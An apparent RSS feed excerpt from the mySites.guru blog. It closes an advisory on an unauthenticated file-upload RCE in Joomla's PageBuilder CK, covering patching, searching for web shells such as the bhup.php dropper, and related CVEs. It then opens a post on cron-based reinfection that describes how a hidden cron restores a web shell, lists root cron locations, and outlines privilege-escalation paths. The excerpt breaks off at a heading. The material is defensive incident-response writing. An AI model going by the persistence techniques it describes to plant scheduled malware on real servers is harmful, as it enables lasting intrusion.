&lt;p&gt;Server-level hardening helps, but know what it does and does not do. If you run &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Akeeba Admin Tools&lt;/a&gt;, its &lt;code&gt;.htaccess&lt;/code&gt; Maker will not stop the upload itself, because the write happens inside the component, below the level &lt;code&gt;.htaccess&lt;/code&gt; sees. What its long generated &lt;code&gt;.htaccess&lt;/code&gt; does do is disable PHP execution in a list of directories, so a dropper that lands in one of those folders cannot be run by requesting it directly. That neutralises a good chunk of the risk. The catch is that the Maker deliberately leaves exceptions where PHP genuinely needs to run, and since this flaw lets the attacker choose any folder, those exceptions are exactly where a working shell could still end up. Helpful, then, but not a substitute for the update. A single &lt;code&gt;.htaccess&lt;/code&gt; rule scoped to one folder gives an even falser sense of safety against a flaw that can write anywhere.&lt;/p&gt;
&lt;h2&gt;How to Fix the PageBuilder CK Hack with mySites.guru Easily&lt;/h2&gt;
&lt;p&gt;Updating is the priority and it is straightforward. In each site&apos;s Joomla admin, go to &lt;strong&gt;System&lt;/strong&gt; then &lt;strong&gt;Update&lt;/strong&gt; then &lt;strong&gt;Extensions&lt;/strong&gt;, find PageBuilder CK, and update it to 3.6.0 or newer. If the update does not appear there, download the latest build from &lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;joomlack.fr&lt;/a&gt; and install it over the top. If you run more than a handful of sites, push the update across all of them at once from your &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;mySites.guru dashboard&lt;/a&gt; rather than working through admin panels one by one.&lt;/p&gt;
&lt;p&gt;Then check for a break-in, because updating stops the next attempt but does nothing about one that already happened. Look for PHP files that should not exist, and do not only look in the obvious places. Because this flaw lets the attacker choose the folder, a web shell could be sitting in &lt;code&gt;/images&lt;/code&gt;, &lt;code&gt;/media&lt;/code&gt;, &lt;code&gt;/templates&lt;/code&gt;, &lt;code&gt;/administrator&lt;/code&gt;, or anywhere else writable. While you are in the Joomla admin, check your &lt;strong&gt;Users&lt;/strong&gt; list for any Super User accounts you do not recognise and remove them. If you find anything, &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean the site properly&lt;/a&gt;, change your Joomla passwords and secrets, and &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;run a full security audit&lt;/a&gt; across the whole site rather than just the file you found. Whoever gets in through one hole usually leaves a second one somewhere quieter.&lt;/p&gt;
&lt;p&gt;mySites.guru helps with the detection half too. Its &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool runs on every audit&lt;/a&gt; of every connected Joomla site and flags known web shell signatures and files that do not belong. If a site shows a threat in its Hacked? section, treat it as compromised and work through the cleanup.&lt;/p&gt;
&lt;h2&gt;This Keeps Happening to Joomla Components&lt;/h2&gt;
&lt;p&gt;PageBuilder CK is not an outlier. It joins a steady run of third-party Joomla component flaws we have written up this year, and several share the exact same shape: an endpoint that should have been locked down, reachable without a login, doing something dangerous. The &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero day&lt;/a&gt; from a different vendor was another unauthenticated upload in a page builder, used to plant hidden Joomla admins. The &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda zero day&lt;/a&gt; was another unauthenticated file upload. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain framework RCE&lt;/a&gt; was unauthenticated code execution in a widely-installed extension. The &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;vulnerable JCE editor&lt;/a&gt; was, again, a file upload reached without proper checks. And &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7&lt;/a&gt; closed the same class of gap in JoomShaper&apos;s template framework, where unprotected &lt;code&gt;com_ajax&lt;/code&gt; actions allowed an unauthenticated menu write that leads to stored cross-site scripting. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; was another one: its frontend attachment upload accepted a file from anyone with no login and no file-type check, so a &lt;code&gt;.php&lt;/code&gt; upload could be run as code.&lt;/p&gt;
&lt;p&gt;The thread running through all of them is the one we pulled on at length in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;: a front-end endpoint that verifies a CSRF token and then stops checking, never asking whether the person behind the request is logged in or allowed to do what they are asking. PageBuilder CK is a textbook case of it, and the 3.6.0 fix is, in essence, adding the permission check that should have been there all along. When a framework leaves authorization up to each individual extension developer, the same mistake gets made independently, over and over.&lt;/p&gt;
&lt;p&gt;Joomla&apos;s core team has started closing that gap from their side. The recent updates &lt;a href=&quot;https://manual.joomla.org/updates/54-60/known-issues/6.0.4/&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; hardened the core &lt;code&gt;com_ajax&lt;/code&gt; component, which for years let AJAX handlers in the administrator application be called without an authenticated session. From those versions on, Joomla blocks that by default, and a developer who genuinely needs an open handler has to opt in explicitly. It is a deliberate backwards-compatibility break, made because the safe default was worth more than never breaking anything. It will not retroactively fix a component like PageBuilder CK, whose vulnerable code ran on the public site and did its own routing rather than going through core &lt;code&gt;com_ajax&lt;/code&gt;, so you still need the 3.6.0 update. But it does mean one large, long-standing version of this mistake is now closed at the source. Keeping your sites on a current Joomla version is part of staying ahead of the next one.&lt;/p&gt;
&lt;p&gt;The lesson is not &quot;stop using extensions&quot;. Extensions are what make Joomla useful, and PageBuilder CK is genuinely good at its job. The lesson is that the security of your sites rests on code other people wrote and ship on their own schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites run it, patch them all at once, and check whether any were already turned into a foothold. That is the whole reason mySites.guru indexes every extension on every site you connect. When the next one drops, and there will be a next one, you want to be the operator who patched and swept before the scanner came back, not the one &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;finding a strange admin account three weeks later&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The March 2026 Wave That Made the Pattern Obvious&lt;/h2&gt;
&lt;p&gt;If PageBuilder CK felt like a one-off it would be easy to shrug at. It is not. In a single month, March 2026, at least five separate AJAX and API vulnerabilities landed across Joomla and WordPress, all sharing the same root cause: an endpoint that checks a token but never checks who is calling it. We pulled all five apart in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;; here they are at a glance.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework for Joomla&lt;/a&gt;&lt;/strong&gt; (CVE-2026-21628, CVSS 10.0). The AJAX endpoint verified a CSRF token but never checked the requester was an administrator. Attackers grabbed the token off the public login page and uploaded backdoors. No login required, and a maximum 10.0 score.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain / Tassos Framework for Joomla&lt;/a&gt;&lt;/strong&gt; (CVE-2026-21627, CVSS 9.5). Fully unauthenticated, no token and no capability check at all. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; routed requests to the plugin, which whitelisted file inclusion as a non-admin task, allowing arbitrary PHP inclusion, file deletion and SQL injection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 for WordPress&lt;/a&gt;&lt;/strong&gt; (CVE-2026-3098, CVSS 6.5). The export AJAX actions had a nonce but no capability check, so any subscriber-level user could read arbitrary files off the server, including &lt;code&gt;wp-config.php&lt;/code&gt;. Same pattern, different CMS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla core com_ajax ACL hardening&lt;/strong&gt; (CVE-2026-21629). The framework that routes every plugin&apos;s AJAX requests was itself missing the default authentication check in the admin area, the gap that the &lt;a href=&quot;https://manual.joomla.org/updates/54-60/known-issues/6.0.4/&quot;&gt;5.4.4 and 6.0.4 updates&lt;/a&gt; closed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla webservice endpoint access bypass&lt;/strong&gt; (CVE-2026-23899). The webservice API did not properly verify permissions on incoming requests, allowing access to endpoints that should have been restricted. A different mechanism, the same category of failure.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Five in one month, three months before PageBuilder CK joined the list. This is not a run of bad luck. It is a structural weakness in how CMS extensions handle authorization, and it is why &quot;which of my sites run the thing that just got patched&quot; needs to be a question you can answer in seconds, not days.&lt;/p&gt;
&lt;p&gt;And these are not just disclosures sitting in a database. The same pattern hit &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE, the single most-installed Joomla editor&lt;/a&gt; (CVE-2026-48907), where an unauthenticated editor-profile upload let attackers write arbitrary files. That one was actively exploited: we saw it used in the wild to plant rogue JCE editor profiles and drop webshells into &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt; and the &lt;code&gt;libraries&lt;/code&gt; tree, the exact &quot;endpoint reached without a login, then a file written somewhere it can run&quot; shape as PageBuilder CK. We built a &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;dedicated check that finds the JCE rogue profiles and backdoors&lt;/a&gt; and cleans them from one screen, because enough sites were hit that &quot;is JCE installed and patched&quot; was no longer the only question worth asking. When a pattern gets weaponised like that, the gap between disclosure and patching is measured in how exposed your sites are, not in how interesting the bug is.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Makes Urgent 0-Day Updates Like This Painless&lt;/h2&gt;
&lt;p&gt;A 0-day is a race, and the clock starts the moment the fix goes public. The slow part has never been the update itself, it is everything around it: working out which of your sites even have the affected extension, on what version, and then getting the patch onto all of them before a scanner gets there first. Done by hand across a portfolio of client sites, that is an afternoon of logging into admin panels. By the time you finish the list, the first sites have been exposed for hours.&lt;/p&gt;
&lt;p&gt;mySites.guru collapses that race into a few clicks, in three steps.&lt;/p&gt;
&lt;p&gt;First, &lt;strong&gt;know which sites are affected, in seconds.&lt;/strong&gt; Every connected site reports the exact version of every installed extension on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; indexes that data across your whole portfolio and groups it by version, so a question like &quot;which of my sites run PageBuilder CK below 3.6.0&quot; is answered the moment you ask it, not after a day of checking. This is the same index that let us find &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;8,297 sites running the Novarain Framework&lt;/a&gt; within hours of that disclosure.&lt;/p&gt;
&lt;p&gt;Second, &lt;strong&gt;patch all of them at once.&lt;/strong&gt; Once you have the list, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass update tool&lt;/a&gt; pushes 3.6.0 to every affected site in a single operation. Whether that is five sites or five hundred, it is one action instead of hundreds. If a site is somehow missing the update in its own admin, you can &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;mass install the extension&lt;/a&gt; straight from the dashboard. The full day of manual patching becomes a job you finish over a coffee.&lt;/p&gt;
&lt;p&gt;Third, &lt;strong&gt;confirm nobody beat you to it.&lt;/strong&gt; Updating closes the door, but on a fast-moving 0-day you also want to know whether anything got in before you patched. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool runs on every audit&lt;/a&gt; of every connected Joomla site, flagging web shells and files that do not belong, including in the odd corners this particular flaw can write to.&lt;/p&gt;
&lt;p&gt;We have already done two things for this specific flaw. Every connected Joomla site running PageBuilder CK below 3.6.0 is now flagged on the new &lt;strong&gt;Important&lt;/strong&gt; tab, the red triage view that surfaces a site&apos;s most urgent problems in one place. It names the component, explains the risk, and links straight to this write-up:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This is no longer hypothetical. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; is what caught the first real web shell planted through this flaw, the &lt;code&gt;bhup.php&lt;/code&gt; dropper described above. It reads every file in your webspace and flags anything that looks like a backdoor or web shell on its own merits, without us having to handcraft a pattern for this particular attack first. That is the difference between a tool that only knows the threats someone has already written a rule for and one that can catch a shell it has never seen. It does flag broadly, so it is worth knowing &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;how to read a suspect content match versus a confirmed hacked file&lt;/a&gt; before you act on what it raises. Now that we are recording sites hit through this flaw, a targeted check that hunts its specific fingerprint is the next step, exactly as we did with the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE rogue profiles and backdoors tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That is the whole point of connecting your sites before the next 0-day rather than after. When it drops, you are not scrambling to build a list. You already have it, you push one update, and you move on. If you are not set up yet, &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;start a free month&lt;/a&gt; and the index builds itself on the first snapshot.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;This vulnerability is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, published on 29 June 2026 and crediting Phil Taylor of mySites.guru as the finder. It scores a CVSS 4.0 base of 10.0, the maximum, and is classified as CWE-284 (Improper Access Control), which is exactly the failure this post describes: an endpoint that checks a token but never checks permission. The official record summarises it as &quot;an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE&quot;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Published&lt;/td&gt;
&lt;td&gt;29 June 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;PageBuilder CK (&lt;code&gt;com_pagebuilderck&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Cedric Keiflin (joomlack.fr)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-284 (Improper Access Control)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Up to and including 3.5.10 (current line); older Joomla 3 and Joomla 4 builds below the back-ported patches below&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;3.6.0 for current Joomla, plus back-ported 3.1.1 (Joomla 3) and 3.4.10 (Joomla 4). All released 27 June 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div&gt;
  &lt;p&gt;This is a developing story. We published within hours of the fix, and within hours of that we saw it exploited in the wild, with a web shell planted on a connected site through this flaw. It is now tracked as CVE-2026-56290, scored CVSS 10.0, crediting Phil Taylor of mySites.guru as the finder. Right now: update to 3.6.0 on every site that runs PageBuilder CK, watch the Important tab, and check for the `bhup.php` web shell and any other stray PHP under `/media/com_pagebuilderck/`. The suspect content tool is already catching shells like this one.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;PageBuilder CK RCE fixed, again, correctly this time&lt;/a&gt; - the 3.6.0 fix turned out to be incomplete, and what it took to actually close it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;twelve Joomla extension vulnerabilities we disclosed in a month&lt;/a&gt; - the whole run in one place.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt; - the official CVE record (CVSS 10.0, CWE-284), crediting Phil Taylor of mySites.guru as the finder.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;PageBuilder CK by Cedric Keiflin&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://forum.joomlack.fr/index.php/page-builder-ck/21627-nouvelle-version-de-pbck-et-joomla-3&quot;&gt;Joomlack forum: new PageBuilder CK release and the Joomla 3 / Joomla 4 back-ports&lt;/a&gt; (vendor announcement)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/joomlack/&quot;&gt;Joomlack on Facebook&lt;/a&gt; (where the vendor posted the patched-version download links)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>pagebuilder-ck</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/pagebuilderck-unauthenticated-file-upload-rce.DoNY_hTR.png" length="0" type="image/png"/></item><item><title>Reinfected? Check Every Crontab, Not Just Yours</title><link>https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/</link><guid isPermaLink="true">https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/</guid><description>Your cPanel cron jobs look clean but the site reinfects anyway. The cron rebuilding the malware is hiding in a crontab your account can&apos;t see. Here is where.</description><pubDate>Sat, 27 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You cleaned the hacked site. You deleted the webshells and patched the way in. An hour later the malware is back. This is one of the most demoralising patterns in site recovery, and it almost always comes down to the same thing: a scheduled task is quietly putting the malware back, and nobody looked at it.&lt;/p&gt;
&lt;p&gt;Sometimes the reason nobody looked is the simplest one. The cron job was sitting in your own account the whole time, and you never opened the Cron Jobs page in cPanel to check, because you did not know it was there or it did not occur to you that a website could have one. Other times you did check, your account&apos;s cron was genuinely clean, and the job rebuilding the malware is somewhere your hosting panel will never show you. Both cases end the same way: a site that reinfects on a schedule. Before you can rule either one out, it helps to be clear on what these things actually are, because plenty of otherwise capable agencies are fuzzy on it.&lt;/p&gt;
&lt;h2&gt;What is a cron job, and what is a crontab?&lt;/h2&gt;
&lt;p&gt;A &lt;strong&gt;cron job&lt;/strong&gt; is a single scheduled command: a task the server runs automatically on a timetable, like &quot;every five minutes, run this script&quot;. Cron is the Linux service that does the running. A WordPress backup plugin firing nightly, a Joomla maintenance task, a script that clears a cache every hour: those are cron jobs. They are completely normal, and every busy server has dozens of legitimate ones.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;crontab&lt;/strong&gt; (short for &quot;cron table&quot;) is the list those jobs live in. It is a plain text file, one job per line, and the key thing to understand is that there is not just one of them on a server. Every user account has its own separate crontab, the system has several of its own, and they all run independently. When you open the Cron Jobs page in cPanel, you are looking at exactly one of those lists: your account&apos;s crontab, and nothing else.&lt;/p&gt;
&lt;p&gt;That distinction is the whole problem. A malicious cron job is just one extra line added to a crontab. The attacker only has to write it into a list you are not looking at, and the cPanel UI guarantees there are several you cannot look at. A scheduled task that re-plants malware is one of the most effective forms of persistence an attacker has, precisely because the tools you use to clean a site never read any crontab at all. File scanners read files. Database scanners read the database. Neither one reads cron. Sucuri make the point bluntly in their write-up on cron-based reinfection: a malicious cron job survives a full file cleanup and silently re-creates the payload on its next run. So the question is never just &quot;is my cron clean&quot;, it is &quot;have I checked &lt;em&gt;every&lt;/em&gt; crontab on this server, starting with my own and including the ones my hosting account cannot see&quot;.&lt;/p&gt;
&lt;h2&gt;How mySites.guru caught a reinfection cron rebuilding a webshell&lt;/h2&gt;
&lt;p&gt;We saw this exact mechanism on a live Joomla server. A mySites.guru audit surfaced a cron job, running every five minutes, that checks whether a hidden webshell (&lt;code&gt;.sys-mta-miud.php&lt;/code&gt;) is still sitting in the public web root and, if it has gone, copies a stashed backup of it (&lt;code&gt;.sys_xicyll.php&lt;/code&gt;, tucked away in a &lt;code&gt;.cache&lt;/code&gt; directory) straight back into place. The leading dots hide the files from a casual directory listing, an innocuous &lt;code&gt;# SYSCHK&lt;/code&gt; comment makes the line look like a routine system check, and &lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; swallows any error. Delete the shell and it is back inside five minutes.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That find is what pushed us to build the check properly. Every snapshot now runs &lt;strong&gt;Check For Malicious Cron Jobs&lt;/strong&gt;, which reads every cron location your site&apos;s account is permitted to open, classifies each line, flags entries like this one in red, and lets you delete a single malicious line without touching anything else. It goes wider than your own crontab: where the server allows it, the check also reads the system crontab and the root-owned drop-in and script directories that no hosting panel will ever show you. What it cannot reach is another account&apos;s spool file, and on some hosts it cannot read anything at all. &lt;a href=&quot;#what-mysitesguru-checks-in-cron-and-what-it-cannot&quot;&gt;How the check works&lt;/a&gt; is set out further down, including what it does when the answer is &quot;we could not look&quot;. That is the &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;second-wave reinfection problem&lt;/a&gt; seen from the cron angle, and it is why monitoring for file changes matters as much as finding the cron itself.&lt;/p&gt;
&lt;h2&gt;Why your cPanel cron jobs look clean but the site reinfects&lt;/h2&gt;
&lt;p&gt;Start with your own crontab, because it is the easiest to check and a surprising number of reinfections turn out to be hiding there in plain sight. In cPanel it is under Home, Advanced, Cron Jobs. In Plesk it is Websites &amp;amp; Domains, Scheduled Tasks. If there is a line you do not recognise, especially one that downloads something or copies a file every few minutes, that is very likely your culprit, and you can delete it right there. Do not skip this step on the assumption that the attacker was too sophisticated to use your own account. Often they were not.&lt;/p&gt;
&lt;p&gt;If your own crontab is clean, the search has barely started. The cPanel &quot;Cron Jobs&quot; page, and the equivalent &quot;Scheduled Tasks&quot; panel in Plesk, only ever shows you the cron jobs belonging to your own account. That is by design: your account runs as one Linux user, and a normal user can only read and write their own crontab. So when that page comes up empty, what you have actually confirmed is narrow: your account&apos;s crontab is clean. You have learned nothing about the rest of the server.&lt;/p&gt;
&lt;p&gt;Under the hood, cron jobs live in more places than most site owners realise. Your account&apos;s jobs sit in a per-user spool file. On cPanel servers, which are RHEL-family, that is &lt;code&gt;/var/spool/cron/USERNAME&lt;/code&gt;. On Debian, Ubuntu and most Plesk installs it is &lt;code&gt;/var/spool/cron/crontabs/USERNAME&lt;/code&gt;. Those are the only files your account can touch. Everything else is root-only:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/crontab&lt;/code&gt;&lt;/strong&gt; is the master system crontab. Each line has an extra field naming the user it runs as, so root can schedule a job to run as anyone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/cron.d/&lt;/code&gt;&lt;/strong&gt; is a drop-in directory of crontab fragments, also with that user field. This is a favourite hiding spot because a file named &lt;code&gt;php-session&lt;/code&gt; or &lt;code&gt;apache-check&lt;/code&gt; looks exactly like something a package installed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/cron.hourly/&lt;/code&gt;, &lt;code&gt;/etc/cron.daily/&lt;/code&gt;, &lt;code&gt;/etc/cron.weekly/&lt;/code&gt; and &lt;code&gt;/etc/cron.monthly/&lt;/code&gt;&lt;/strong&gt; are directories of executable scripts, not crontab lines, run on the named cadence. A malicious script dropped here runs as root. This is where we found one of the worst backdoors we have ever seen, described below.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Other users&apos; spool files&lt;/strong&gt; under &lt;code&gt;/var/spool/cron/&lt;/code&gt;. Once root is compromised, an attacker can plant a reinfection job in a completely different account&apos;s crontab, so cleaning the victim site never evicts it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those appear in any hosting control panel. The only way to change them is a root shell, or WHM on cPanel and Tools &amp;amp; Settings on Plesk. If your site reinfects and your account&apos;s cron is clean, that list above is where the cron actually is.&lt;/p&gt;
&lt;p&gt;Reading them is a slightly different question from changing them, and that gap is the one our cron check works in. On plenty of servers &lt;code&gt;/etc/crontab&lt;/code&gt; and the files under &lt;code&gt;/etc/cron.d/&lt;/code&gt; are world-readable even though only root can write to them, so a connected site can look at the contents without having any power to edit them. That is enough to tell you the reinfection job exists and to hand your host a file path, which is the hard part. It is not universal, and it is not a substitute for root, but &quot;your account cannot fix this&quot; and &quot;your account cannot see this&quot; turn out not to be the same sentence.&lt;/p&gt;
&lt;h2&gt;How does a single hacked site let attackers write cron outside the account?&lt;/h2&gt;
&lt;p&gt;It happens through privilege escalation, and on shared hosting it is depressingly routine. The first foothold is usually a webshell running as the limited web-server user, which can only touch one account&apos;s files. From there the attacker reaches for a local privilege-escalation exploit: an unpatched kernel flaw, a writable SUID binary, a misconfigured service, or a cross-account symlink attack against world-readable configs. Sucuri documented this path over a decade ago and the conclusion has not changed: once an attacker turns a site compromise into root access, &quot;if there are more websites hosted on the server, it is likely they will attempt to compromise every single one of them&quot;.&lt;/p&gt;
&lt;p&gt;None of this is a historical curiosity. CageFS on CloudLinux exists specifically to wall each account off from the rest of the server, and it stops the large majority of these escalations, but it is not absolute. CVE-2026-54420, a symlink-handling flaw in the LiteSpeed cPanel plugin disclosed in June 2026 and added to CISA&apos;s Known Exploited Vulnerabilities catalog for active exploitation, let a low-privilege user break out of that isolation and reach other accounts&apos; files. So the scenario the site owner experiences as &quot;I cleaned it and it came back&quot; is, underneath, often &quot;the whole server was rooted, and persistence was seeded across accounts I have no visibility into&quot;. We have seen exactly this: complete server compromise where the reinfection cron lived entirely outside the victim&apos;s own account, untouchable from their panel and invisible to any account-level scan.&lt;/p&gt;
&lt;p&gt;The recent run of unauthenticated Joomla zero-days is what put so many sites in this position to begin with. &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; all let an attacker with no login upload and run PHP. That first PHP execution is the foothold, and on a poorly isolated shared server it is the start of the climb to root.&lt;/p&gt;
&lt;h2&gt;A real backdoor we found in /etc/cron.daily&lt;/h2&gt;
